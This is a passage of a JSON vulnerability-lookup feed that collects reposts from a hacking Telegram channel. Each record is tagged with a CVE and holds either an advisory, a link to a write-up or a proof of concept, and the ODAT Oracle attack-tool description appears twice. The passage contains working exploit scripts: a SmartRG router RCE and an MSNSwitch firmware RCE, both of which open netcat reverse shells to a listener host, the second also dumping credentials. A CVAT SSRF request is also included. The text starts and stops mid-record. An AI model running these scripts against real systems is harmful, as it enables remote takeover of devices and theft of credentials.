Database 10g, 11g, 12c, 18c and 19c. FeaturesThanks to ODAT, you can:\n\n* search valid SID on a remote Oracle Database listener via: \n* a dictionary attack\n* a brute force attack\n* ALIAS of the listener\n\n* search Oracle accounts using: \n* a dictionary attack\n* each Oracle user like the password (need an account before to use this attack)\n\n* execute system commands on the database server using: \n* DBMS_SCHEDULER\n* JAVA\n* external tables\n* oradbg\n\n* download files stored on the database server using: \n* UTL_FILE\n* DBMS_XSLPROCESSOR\n* external tables\n* CTXSYS\n* DBMS_LOB\n\n* upload files on the database server using: \n* UTL_FILE\n* DBMS_XSLPROCESSOR\n* DBMS_ADVISOR\n\n* delete files using: \n* UTL_FILE\n\n* gain privileged access using these following system privileges combinations (see help for privesc module commands): \n* CREATE ANY PROCEDURE\n* CREATE PROCEDURE and EXECUTE ANY PROCEDURE\n* CREATE ANY TRIGER (and CREATE PROCEDURE)\n* ANALYZE ANY (and CREATE PROCEDURE)\n* CREATE ANY INDEX (and CREATE PROCEDURE)\n\n* send/reveive HTTP requests from the database server using: \n* UTL_HTTP\n* HttpUriType\n\n* scan ports of the local server or a remote server using: \n* UTL_HTTP\n* HttpUriType\n* UTL_TCP\n\n* capture a SMB authentication through: \n* an index in order trigger a SMB connection\n\n* exploit some CVE: \n* the CVE-2012-3137 \n* pickup the session key and salt for arbitrary users\n* attack by dictionary on sessions\n\n* the CVE-2012-????: A user authenticated can modify all tables who can select even if he can\u2019t modify them normally (no ALTER privilege).\n* the CVE-2012-1675 (aka TNS poisoning attack)\n\n* search in column names thanks to the search module: \n* search a pattern (ex: password) in column names\n\n* unwrap PL/SQL source code (10g/11g and 12c)\n* get system privileges and roles granted. It is possible to get privileges and roles of roles granted also\n* execute arbitrary SELECT requests (aka minimal sql shell)\n\nThis list is not exhaustive. Supported Platforms and dependenciesODAT is compatible with Linux only.\n\nStandalone version exists in order to don\u2019t have need to install dependencies (see https://github.com/quentinhardy/odat/releases/). The ODAT standalone has been generated thanks to pyinstaller.\n\nIf you want to have the development version installed on your computer, these following tools and dependencies are needed:\n\n* Langage: Python 3\n* Oracle dependancies: \n* Instant Oracle basic\n* Instant Oracle sdk\n\n* Python libraries: \n* cx_Oracle\n* passlib\n* pycrypto\n* python-scapy\n* python-libnmap (new from python 5.1)\n* colorlog (recommended)\n* termcolor (recommended)\n* argcomplete (recommended)\n* pyinstaller (recommended) Installation (optional, for development version)This part describes how to install instantclient, CX_Oracle and some others python libraries on Ubuntu in order to have the ODAT development version. Don\u2019t forget that an ODAT standalone version exists at https://github.com/quentinhardy/odat/releases/: It is not required to install something for use the standalone version\n\n* Clone the repository to get the ODAT source code:\ngit clone https://github.com/quentinhardy/odat.git \n* Update wiki pages in this repository for getting the ODAT documentation loca[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2012-3137", "author": {"login": "automation"}}, {"uuid": "aa0c376f-0959-4946-bd91-4a9318028964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.566002+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77426", "content": "Kali Linux Tutorials\nODAT : Oracle Database Attacking Tool\n\nODAT (Oracle Database Attacking Tool) is an open source penetration testing tool that tests the security of Oracle Databases remotely.\n\nUsage examples of ODAT:\n\n* You have an Oracle database listening remotely and want to find valid SIDs and credentials in order to connect to the database\n* You have a valid Oracle account on a database and want to escalate your privileges to become DBA or SYSDBA\n* You have a Oracle account and you want to execute system commands (e.g. reverse shell) in order to move forward on the operating system hosting the database\n\nTested on Oracle Database 10g, 11g, 12c, 18c and 19c. FeaturesThanks to ODAT, you can:\n\n* search valid SID on a remote Oracle Database listener via: \n* a dictionary attack\n* a brute force attack\n* ALIAS of the listener\n\n* search Oracle accounts using: \n* a dictionary attack\n* each Oracle user like the password (need an account before to use this attack)\n\n* execute system commands on the database server using: \n* DBMS_SCHEDULER\n* JAVA\n* external tables\n* oradbg\n\n* download files stored on the database server using: \n* UTL_FILE\n* DBMS_XSLPROCESSOR\n* external tables\n* CTXSYS\n* DBMS_LOB\n\n* upload files on the database server using: \n* UTL_FILE\n* DBMS_XSLPROCESSOR\n* DBMS_ADVISOR\n\n* delete files using: \n* UTL_FILE\n\n* gain privileged access using these following system privileges combinations (see help for privesc module commands): \n* CREATE ANY PROCEDURE\n* CREATE PROCEDURE and EXECUTE ANY PROCEDURE\n* CREATE ANY TRIGER (and CREATE PROCEDURE)\n* ANALYZE ANY (and CREATE PROCEDURE)\n* CREATE ANY INDEX (and CREATE PROCEDURE)\n\n* send/reveive HTTP requests from the database server using: \n* UTL_HTTP\n* HttpUriType\n\n* scan ports of the local server or a remote server using: \n* UTL_HTTP\n* HttpUriType\n* UTL_TCP\n\n* capture a SMB authentication through: \n* an index in order trigger a SMB connection\n\n* exploit some CVE: \n* the CVE-2012-3137 \n* pickup the session key and salt for arbitrary users\n* attack by dictionary on sessions\n\n* the CVE-2012-????: A user authenticated can modify all tables who can select even if he can\u2019t modify them normally (no ALTER privilege).\n* the CVE-2012-1675 (aka TNS poisoning attack)\n\n* search in column names thanks to the search module: \n* search a pattern (ex: password) in column names\n\n* unwrap PL/SQL source code (10g/11g and 12c)\n* get system privileges and roles granted. It is possible to get privileges and roles of roles granted also\n* execute arbitrary SELECT requests (aka minimal sql shell)\n\nThis list is not exhaustive. Supported Platforms and dependenciesODAT is compatible with Linux only.\n\nStandalone version exists in order to don\u2019t have need to install dependencies (see https://github.com/quentinhardy/odat/releases/). The ODAT standalone has been generated thanks to pyinstaller.\n\nIf you want to have the development version installed on your computer, these following tools and dependencies are needed:\n\n* Langage: Python 3\n* Oracle dependancies: \n* Instant Oracle basic\n* Instant Oracle sdk\n\n* Python libraries: \n* cx_Oracle\n* passlib\n* pycrypto\n* python-scapy\n* python-libnmap (new from python 5.1)\n* colorlog (recommended)\n* termcolor (recommended)\n* argcomplete (recommended)\n* pyinstaller (recommended) Installation (optional, for development version)This part describes how to install instantclient, CX_Oracle and some others python libraries on Ubuntu in order to have the ODAT development version. Don\u2019t forget that an ODAT standalone version exists at https://github.com/quentinhardy/odat/releases/: It is not required to install something for use the standalone version\n\n* Clone the repository to get the ODAT source code:\ngit clone https://github.com/quentinhardy/odat.git \n* Update wiki pages in this repository for getting the ODAT documentation loca[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2012-1675", "author": {"login": "automation"}}, {"uuid": "12d285fb-d284-4ffb-b4f7-7c321e1809cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.514613+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77338", "content": "Exploit Collector\nMicrosoft Outlook 2019 16.0.12624.20424 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png \nThis is a whitepaper discussing CVE-2020-1349 where a remote code execution vulnerability exists in Microsoft Outlook 2019 version 16.0.12624.20424 when it fails to properly handle objects in memory.\n\nSHA-256 | 0cbeab94a42718d9dc0fbddcb25e670799fb9171ff9f4aa0d640945941711759\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-1349", "author": {"login": "automation"}}, {"uuid": "2f82c86e-c4d9-4265-a49f-187cdf2eb9e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.291458+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77345", "content": "Exploit Collector\nMicrosoft Outlook 2019 16.0.13231.20262 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-A9um4FlUYrw/WWlvH0fnNDI/AAAAAAAAILk/pA4dWsQKlcwBJHJ-2O0qL7e98i6zrXCWwCLcBGAs/s1600/h141.png \nThis is a whitepaper along with a proof of concept eml file discussing CVE-2020-16947 where a remote code execution vulnerability exists in Microsoft Outlook 2019 version 16.0.13231.20262 when it fails to properly handle objects in memory.\n\nSHA-256 | e10886839475e813dff9362bc048392f047b424255b849ca304a468b0daa17a3\n\nDownload\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-16947", "author": {"login": "automation"}}, {"uuid": "af3575e6-e402-4309-afc0-3f4fa27ad793", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.249839+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77419", "content": "SSRF via DNS Rebinding (CVE-2022\u20134096)\nhttps://basu-banakar.medium.com/ssrf-via-dns-rebinding-cve-2022-4096-b7bf75928bb2?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-4096", "author": {"login": "automation"}}, {"uuid": "bee1359c-b322-4b8a-a9f2-360d180d82eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.207180+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77421", "content": "Hello everyone myself Basavaraj\u00a0, Today in this writeup I will explain about my 2nd CVE i.e CVE-2022\u20134096Continue reading on Medium \u00bb (https://basu-banakar.medium.com/ssrf-via-dns-rebinding-cve-2022-4096-b7bf75928bb2?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-4096", "author": {"login": "automation"}}, {"uuid": "f03e8575-ecb4-4ffa-8bcb-2b5f2e1c5750", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.165514+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76669", "content": "Exploit Collector\nWordPress BeTheme BeCustom 1.0.5.2 Cross Site Request Forgery\n\nhttps://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png \nWordPress BeTheme BeCustom plugin versions 1.0.5.2 and below suffer from a cross site request forgery vulnerability.\n\nSHA-256 | 651b396c90687b1931dfce7d1f9402a1dff09a912ce895903c27111b0634e43e\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        BeCustom Wordpress Plugin\nVendor URL:     https://muffingroup.com/betheme/features/be-custom/\nType:           Cross-Site Request Forgery [CWE-253]\nDate found:     2021-10-28\nDate published: 2022-11-10\nCVSSv3 Score:   5.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N)\nCVE:            CVE-2022-3747\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nBeTheme BeCustom 1.0.5.2 and below\n4. INTRODUCTION\n===============\nBuilt in-house add-on, perfect for agencies and web developers will let you rebrand\nBe & WordPresss Admin to your own product by replacing all the Be & Muffin logos with\nown.\n\nThis tool is supplied exclusively to the customers of Betheme and allows for changes\nlike: complete dashboard customization, replacement of logos, colors managment and much\nmore. With just a few clicks, you will turn the Be & Muffin brand into yours, thanks to\nwhich you will increase the trust of your customers.\n\nMoreover, from now on you can also customize the WPLogin page.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nThe WordPress plugin lacks an anti-CSRF protection on all of its functionalities, which\nultimately allows an attacker to (amongst others):\n\n- Set custom brandings\n- Enable/Disable BeCustom features\n- Modify the WP Login view\n- Modify the BeDashboard texts\n\nSince there is no anti-CSRF token protecting these functionalities, they are\nvulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform\na variety of attacks as mentioned above.\n\nTo successfully exploit this vulnerability, a user with the right to access the\nplugin must be tricked into visiting an arbitrary website while having an authenticated\nsession in the application.\n6. PROOF OF CONCEPT\n===================\nAn exemplary exploit to reset the plugin's configuration:\n7. SOLUTION\n===========\nUpdate to BeCustom 1.0.5.3\n8. REPORT TIMELINE\n==================\n2022-10-28: Discovery of the vulnerability\n2022-10-28: CVE requested from Wordfence (CNA)\n2022-10-28: Wordfence assigns CVE-2022-3747\n2022-11-01: Vendor notification\n2022-11-07: No response. Sent another notification.\n2022-11-08: Opened up a security support case on envato.com\n2022-11-xx: Vendor publishes version 1.0.5.3 without notification which fixes this issue\n2022-11-10: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\n\nSource:packetstormsecurity.com\n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-3747", "author": {"login": "automation"}}, {"uuid": "c86d38fa-e774-4961-9b5a-b595e1d4f6a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.121104+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77056", "content": "How I found CVE-2022\u201340088\nhttps://gowthamaraj-rajendran.medium.com/how-i-found-cve-2022-40088-6e1ada4d37?source=rss------bug_bounty-5\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40088", "author": {"login": "automation"}}, {"uuid": "8190585f-4807-4cd5-b231-69eed8c3b8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.076704+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/77058", "content": "Hey Squad,Continue reading on Medium \u00bb (https://gowthamaraj-rajendran.medium.com/how-i-found-cve-2022-40088-6e1ada4d37?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-40088", "author": {"login": "automation"}}, {"uuid": "0e8480bf-5f4d-4cb3-b2e9-063d63330458", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.031074+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76217", "content": "Exploit Collector\nSmartRG Router SR510n 2.6.13 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png \nSmartRG Router SR510n version 2.6.13 suffers from a remote code execution vulnerability.\n\nSHA-256 | dba419bb745ff6282406231b1e06978a7526ccc1828d7e4bb7c0dee6d345cbe1\n\nDownload\n# Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)\n# Date: 13/06/2022\n# Exploit Author: Yerodin Richards\n# Vendor Homepage: https://adtran.com\n# Version: 2.5.15 / 2.6.13 (confirmed)\n# Tested on: SR506n (2.5.15) & SR510n (2.6.13)\n# CVE : CVE-2022-37661\n\nimport requests\nfrom subprocess import Popen, PIPE\n\nrouter_host =3D \"http://192.168.1.1\"\nauthorization_header =3D \"YWRtaW46QWRtMW5ATDFtMyM=3D\"\n\nlhost =3D \"lo\"\nlport =3D 80\n\npayload_port =3D 81\ndef main():\ne_proc =3D Popen([\"echo\", f\"rm /tmp/s & mknod /tmp/s p & /bin/sh 0< /tm=\np/s | nc {lhost} {lport} > /tmp/s\"], stdout=3DPIPE)\nPopen([\"nc\", \"-nlvp\", f\"{payload_port}\"], stdin=3De_proc.stdout)\nsend_payload(f\"|nc {lhost} {payload_port}|sh\")\nprint(\"done.. check shell\")\ndef get_session():\nurl =3D router_host + \"/admin/ping.html\"\nheaders =3D {\"Authorization\": \"Basic {}\".format(authorization_header)}\nr =3D requests.get(url, headers=3Dheaders).text\ni =3D r.find(\"&sessionKey=3D\") + len(\"&sessionKey=3D\")\ns =3D \"\"\nwhile r[i] !=3D \"'\":\ns =3D s + r[i]\ni =3D i + 1\nreturn s\ndef send_payload(payload):\nprint(payload)\nurl =3D router_host + \"/admin/pingHost.cmd\"\nheaders =3D {\"Authorization\": \"Basic {}\".format(authorization_header)}\nparams =3D {\"action\": \"add\", \"targetHostAddress\": payload, \"sessionKey\"=\n: get_session()}\nrequests.get(url, headers=3Dheaders, params=3Dparams).text\nmain()\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-37661", "author": {"login": "automation"}}, {"uuid": "117fa13f-8540-4935-8fc9-196cdab43121", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:58.008882+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76471", "content": "Attack Simulator for SolarWinds, Codecov, and ua-parser-js breaches\nhttps://www.reddit.com/r/redteamsec/comments/yv140a/attack_simulator_for_solarwinds_codecov_and/\n\nThe SUNSPOT (http://crowdstrike.com/blog/sunspot-malware-technical-analysis/) malware, Codecov breach (https://about.codecov.io/security-update/), and lot of compromised open-source packages (like was the case with ua-parser-js (https://github.com/advisories/GHSA-pjwm-rvh2-c87w)) target the CI/ CD pipeline to modify release build or exfiltrate credentials.  As part of writing tests for Harden Runner GitHub Action (https://github.com/step-security/harden-runner), which prevents such attacks, there was a need to write attack simulator for these attacks.  You can check out the attack simulator here: https://github.com/step-security/attack-simulator  It has information and relevant links about these attacks at one place. There are a set of GitHub Actions workflows that simulate the steps from these attacks.  There is also a malware simulator npm package which simulates behavior of typical compromised npm packages using preinstall step.  Wanted to share in case one is looking for similar attack simulator for attacks on CI/ CD pipelines.    submitted by    /u/varunsh-coder  (https://www.reddit.com/user/varunsh-coder) \n [link] (https://www.reddit.com/r/redteamsec/comments/yv140a/attack_simulator_for_solarwinds_codecov_and/)   [comments] (https://www.reddit.com/r/redteamsec/comments/yv140a/attack_simulator_for_solarwinds_codecov_and/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "GHSA-PJWM-RVH2-C87W", "author": {"login": "automation"}}, {"uuid": "ca5d8de1-2432-4868-b307-689118c34cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.964396+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/76583", "content": "hacking: security in practice\nWonderCMS 3.1.3 Vulnerable to Authenticated Server-Side Request Forgery \u2013 CVE-2020-35313\n\nhttps://external-preview.redd.it/dx5jlcVRmgXDLPzjMo1eNGzx9AjQPxc-omDOEbL9PCg.jpg?width=640&crop=smart&auto=webp&s=72ea0ba0a1021cdc93d4d3287d8b5244212a73b1 submitted by /u/shantanu14g \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-35313", "author": {"login": "automation"}}, {"uuid": "fb61db56-855e-4066-b63c-d96190cca67c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.919779+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/76667", "content": "Exploit Collector\nBMC Remedy ITSM-Suite 9.1.10 / 20.02 HTML Injection\n\nhttps://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png \nBMC Remedy ITSM-Suite version 9.1.10 (20.02 in new versioning scheme) suffers from an html injection vulnerability.\n\nSHA-256 | ed89f3f49d37ea4299f6f6221ace6ef8292ada73199f9aac17bae7cf6165fad3\n\nDownload\nSEC Consult Vulnerability Lab Security Advisory < 20221110-0 >\n=======================================================================\ntitle: HTML Injection\nproduct: BMC Remedy ITSM-Suite\nvulnerable version: 9.1.10 (= 20.02 in new versioning scheme)\nfixed version: 22.1\nCVE number: CVE-2022-26088\nimpact: Low\nhomepage: https://www.bmc.com/it-solutions/remedy-itsm.html\nfound: 2021-08-11\nby: Daniel Hirschberger (Office Bochum)\nSEC Consult Vulnerability Lab\n\nAn integrated part of SEC Consult, an Atos company\nEurope | Asia | North America\n\nhttps://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Remedy IT Service Management Suite (Remedy ITSM Suite) and BMC Helix\nITSM service provide out of-the-box IT Information Library (ITIL)\nservice support functionality. Remedy ITSM Suite and BMC Helix ITSM\nservice streamline and automate the processes around IT service desk,\nasset management, and change management operations. It also enables\nyou to link your business services to your IT infrastructure to help\nyou manage the impact of technology changes on business and business\nchanges on technology \u2014 in real time and into the future. In addition,\nyou can understand and optimize the user experience, balance current\nand future infrastructure investments, and view potential impact on\nthe business by using a real-time service model.\"\n\nSource: https://docs.bmc.com/docs/itsm91/home-608490971.html\nBusiness recommendation:\n------------------------\nThe vendor provides an updated version which should be installed immediately.\n\nThe vendor states that:\n> We have done hardening in version 22.1.\n> However, we do not agree with assigning the CVE to this vulnerability.\n> As mentioned previously this is an informative vulnerability, and no real\nimpact is demonstrated.\nNevertheless, this can be used to trigger actions on internal services via CSRF or\nexfiltrate information.\nVulnerability overview/description:\n-----------------------------------\n1) HTML Injection (CVE-2022-26088)\nAn authenticated attacker who can forward incidents per email is able to inject\na limited set of HTML tags. This is accomplished by inserting arbitrary content\ninto the \"To:\" field of the email. There is a filtering mechanism that prevents\nthe injection of many HTML tags, for example \n\u2796 Sent by @TheFeedReaderBot \u2796\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-26088", "author": {"login": "automation"}}, {"uuid": "8d0e966e-4dd5-4714-b4aa-a0d2716c6aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.869284+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76210", "content": "Exploit Collector\nCVAT 2.0 Server-Side Request Forgery\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nCVAT version 2.0 suffers from a server-side request forgery vulnerability.\n\nSHA-256 | 73ffdc8cbd20cddc5c30e6639b40f7a33ca517dc70a0e528dc0b60ad3c12a4f2\n\nDownload\n#Exploit Title: CVAT 2.0 - SSRF (Server Side Request Forgery)\n#Exploit Author: Emir Polat\n#Vendor Homepage: https://github.com/opencv/cvat\n#Version: < 2.0.0\n#Tested On: Version 1.7.0 - Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-122-generic x86_64)\n#CVE: CVE-2022-31188\n\n# Description:\n#CVAT is an opensource interactive video and image annotation tool for computer vision. Versions prior to 2.0.0 were found to be subject to a Server-side request forgery (SSRF) vulnerability. \n#Validation has been added to urls used in the affected code path in version 2.0.0. Users are advised to upgrade.\n\nPOST /api/v1/tasks/2/data HTTP/1.1\nHost: localhost:8080\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language:en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nAuthorization: Token 06d88f739a10c7533991d8010761df721b790b7\nX-CSRFTOKEN:65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGV\nContent-Type: multipart/form-data; boundary=-----------------------------251652214142138553464236533436\nContent-Length: 569\nOrigin: http://localhost:8080\nConnection: close\nReferer:http://localhost:8080/tasks/create\nCookie: csrftoken=65s9UwX36e9v8FyiJi0KEzgMigJ5pusEK7dU4KSqgCajSBAYQxKDYCOEVBUhnIGv; sessionid=dzks19fhlfan8fgq0j8j5toyrh49dned\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"remote files[0]\"\n\nhttp://localhost:8081\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\" image quality\"\n\n170\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"use zip chunks\"\n\ntrue\n-----------------------------251652214142138553464236533436\nContent-Disposition: form-data; name=\"use cache\"\n\ntrue\n-----------------------------251652214142138553464236533436--\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-31188", "author": {"login": "automation"}}, {"uuid": "695cfa35-2b3b-4e51-9453-5c0188498182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.820324+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76212", "content": "Exploit Collector\nMSNSwitch Firmware MNT.2408 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.\n\nSHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)\nGoogle Dork: n/a\nDate:9/1/2022\nExploit Author: Eli Fulkerson\nVendor Homepage: https://www.msnswitch.com/\nVersion: MNT.2408\nTested on: MNT.2408 firmware\nCVE: CVE-2022-32429\n\n#!/usr/bin/python3\n\"\"\"\n\nPOC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.\n\nConfiguration dump only requires HTTP access.\nFull RCE requires you to be on the same subnet as the device.\n\n\"\"\" \n\nimport requests\nimport sys\nimport urllib.parse\nimport readline\nimport random\nimport string\n# listen with \"ncat -lk {LISTENER_PORT}\" on LISTENER_HOST\nLISTENER_HOST = \"192.168.EDIT.ME\"\nLISTENER_PORT = 3434\n\n# target msnswitch\nTARGET=\"192.168.EDIT.ME2\"\nPORT=80\n\nUSERNAME = None\nPASSWORD = None\n\n\"\"\"\nFirst vulnerability, unauthenticated configuration/credential dump\n\"\"\"\nif USERNAME == None or PASSWORD == None:\n# lets just ask\nhack_url=f\"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh\"\nsession = requests.session()\n\ndata = session.get(hack_url)\nfor each in data.text.split('\\n'):\nkey = None\nval = None\n\ntry:\nkey = each.strip().split('=')[0]\nval = each.strip().split('=')[1]\nexcept:\npass\n\nif key == \"Account1\":\nUSERNAME = val\nif key == \"Password1\":\nPASSWORD = val\n\n\"\"\"\nSecond vulnerability, authenticated command execution\n\nThis only works on the local lan.\n\nfor full reverse shell, modify and upload netcat busybox shell script to /tmp:\n\nshell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f\ndownload to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp\n\nref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox\n\"\"\"\n\nsession = requests.session()\n\n# initial login, establishes our Cookie\nburp0_url = f\"http://{TARGET}:{PORT}/goform/login\"\nburp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": f\"http://{TARGET}\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://192.168.120.17/login.asp\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"en-US,en;q=0.9\", \"Connection\": \"close\"}\nburp0_data = {\"login\": \"1\", \"user\": USERNAME, \"password\": PASSWORD}\nsession.post(burp0_url, headers=burp0_headers, data=burp0_data)\n\n# get our csrftoken\nburp0_url = f\"http://{TARGET}:{PORT}/saveUpgrade.asp\"\ndata = session.get(burp0_url)\n\ncsrftoken = data.text.split(\"?csrftoken=\")[1].split(\"\\\"\")[0]\n\nwhile True:\nCMD = input('x:')\nCMD_u = urllib.parse.quote_plus(CMD)\nfilename = ''.join(random.choice(string.ascii_letters) for _ in range(25))\n\ntry:\nhack_url = f\"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}\"\n\nsession.get(hack_url, timeout=0.01)\nexcept requests.exceptions.ReadTimeout:\npass Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-32429", "author": {"login": "automation"}}, {"uuid": "d3d8d9e1-43fc-4bf5-9caa-d21ddb3f88e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T00:00:57.773344+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76216", "content": "Exploit Collector\nIOTransfer 4 Unquoted Service 